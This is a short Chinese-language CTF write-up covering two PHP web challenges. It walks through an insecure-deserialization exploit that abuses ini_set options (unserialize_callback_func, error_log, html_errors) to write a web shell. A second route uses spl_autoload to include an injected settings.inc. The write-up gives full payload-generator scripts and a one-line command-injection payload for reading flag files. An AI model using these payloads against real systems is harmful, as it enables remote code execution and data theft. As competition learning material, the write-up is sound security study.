easy_unserialize
简单分析可以发现是反序列化,还有ini_set。
发现默认写入setting.inc,写入的内容还要在反序列化一次。
非预期解:
先看ini_set可以设定的值里有一个error_log
这里代表报错信息会写入我们设定的文件里。
那么怎么构造脚本错误呢,这里利用unserialize_callback_func
比如上图,反序列化A,但是文件里没定义A,那么反序列化就会尝试调用aaa()函数,同时会把类名作为参数传入到aaa里,所以会输出A(类名)
那么我们这里将aaa改成system不就能命令执行了吗,但是参数要是类名,类名只能字母数字和下划线,我们没法输入 / 。
但是我们注意到要是你没定义aaa会报错输出aaa,那么我们定义aaa为php代码,然后报错写入上面我们写入的php文件即可
但是本地测试发现:
尖括号转义了,查询资料可知,ini_set 的'html_errors'=>false可以取消转义
payload:
<?php class A{}; class main{ public $settings; public $params; public function __construct(){ $this->settings=array( 'unserialize_callback_func'=>'<?php system("cat /f*");?>', 'error_log'=>'error.php', 'html_errors'=>false ); $this->params=serialize(new A()); } } $b=new main(); print_r(urlencode(serialize($b)));
预期解:
用spl_autoload函数,它是__autoload()的一个默认实现,自动加载类
主要看他会加上.inc,因此一开始我们写入settings.inc目标php语句
再执行该函数,包含settings.inc
payload:
写入
<?php class settings{ } class main { public $settings; public $params; public $a; public $b; public function __construct() { $this->params=serialize( array( '1'=>'<?php system("cat /f*");?>' ) ); } } echo urlencode(serialize(new main()));
包含:
<?php class settings{ } class main { public $settings; public $params; public $a; public $b; public function __construct() { $this->settings=array( "unserialize_callback_func"=>"spl_autoload", ); $this->params=serialize(new settings()); } } echo urlencode(serialize(new main()));
web_checkin
payload:?><?=`nl%09/*`,用剩下的字母组合即可,记得把前面先闭合短标签来输出即可